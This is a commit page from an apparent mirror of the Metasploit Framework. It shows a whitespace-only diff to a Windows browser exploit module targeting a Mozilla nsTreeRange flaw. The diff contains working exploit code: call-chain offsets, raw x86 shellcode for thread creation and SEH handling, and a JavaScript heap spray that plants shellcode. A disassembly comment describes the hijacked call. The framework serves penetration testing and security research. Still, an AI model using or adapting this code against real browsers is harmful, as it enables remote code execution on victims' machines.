infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Remove extra tabs and spaces 

git-svn-id: file:///home/svn/framework3/trunk@13148 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-07-10 21:10:45 +00:00
parent 9892eb39eb
commit 94aea207d3
1 changed files with 59 additions and 58 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

37
modules/exploits/windows/browser/mozilla_nstreerange.rb
View File

@ -154,21 +154,25 @@ class Metasploit3 < Msf::Exploit::Remote
if direct if direct
callchain << callchain <<
[next_offset + 0x4 - 8, [
next_offset + 0x4 - 8,
next_offset + 0x14, next_offset + 0x14,
0, 0,
arg1, arg1,
arg2, arg2,
next_offset + 0x18 - 0x70, next_offset + 0x18 - 0x70,
offset] offset
]
else else
callchain << callchain <<
[next_offset + 0x4 - 8, [
next_offset + 0x4 - 8,
next_offset + 0x14, next_offset + 0x14,
0, 0,
arg1, arg1,
arg2, arg2,
offset - 0x70] offset - 0x70
]
end end
} }
@ -187,21 +191,22 @@ class Metasploit3 < Msf::Exploit::Remote
# make rest of shellcode run in separate thread # make rest of shellcode run in separate thread
if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset'] if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6" + payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
"\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56" + payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
"\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}" + payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
"\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32" + payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
"\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00" payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"
esp_fix = 0 esp_fix = 0
end end
# encapsulate actual payload in SEH handler # encapsulate actual payload in SEH handler
if datastore['SEHProlog'] if datastore['SEHProlog']
payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00" + payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
"\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01" + payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
"\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00" + payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
"\x00\x83\xc4\x04\x61\xc2" + [esp_fix].pack('v') payload_buf << "\x00\x83\xc4\x04\x61\xc2"
payload_buf << [esp_fix].pack('v')
end end
payload_buf << p payload_buf << p
@ -269,10 +274,9 @@ EOS
if not target['Auto'] if not target['Auto']
escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p)) escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");" shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
else else
shellcode_str = target['Targets'].map{|check, index| shellcode_str = target['Targets'].map{ |check, index|
"if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ') "if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')
shellcode_str << " else { return; }" shellcode_str << " else { return; }"
end end
@ -310,7 +314,6 @@ function #{@js_func}() {
for (var count = 0; count < 10; ++count) for (var count = 0; count < 10; ++count)
container.push(block + delimiter); container.push(block + delimiter);
var big = unescape("%u4558%u4f52"); var big = unescape("%u4558%u4f52");
while (big.length < #{spray_size / 2}) while (big.length < #{spray_size / 2})
big += big; big += big;
@ -318,7 +321,6 @@ function #{@js_func}() {
var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode; var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
var spray = pad + big.substring(pad.length + 2); var spray = pad + big.substring(pad.length + 2);
for (var count = 0; count < #{spray_count}; ++count) for (var count = 0; count < #{spray_count}; ++count)
container.push(spray + delimiter); container.push(spray + delimiter);
} }
@ -366,4 +368,3 @@ final call looks like this: CALL [[[[ESI]+8]]+70]
104924DD |. 5E POP ESI 104924DD |. 5E POP ESI
104924DE \. C2 0400 RETN 4 104924DE \. C2 0400 RETN 4
=end =end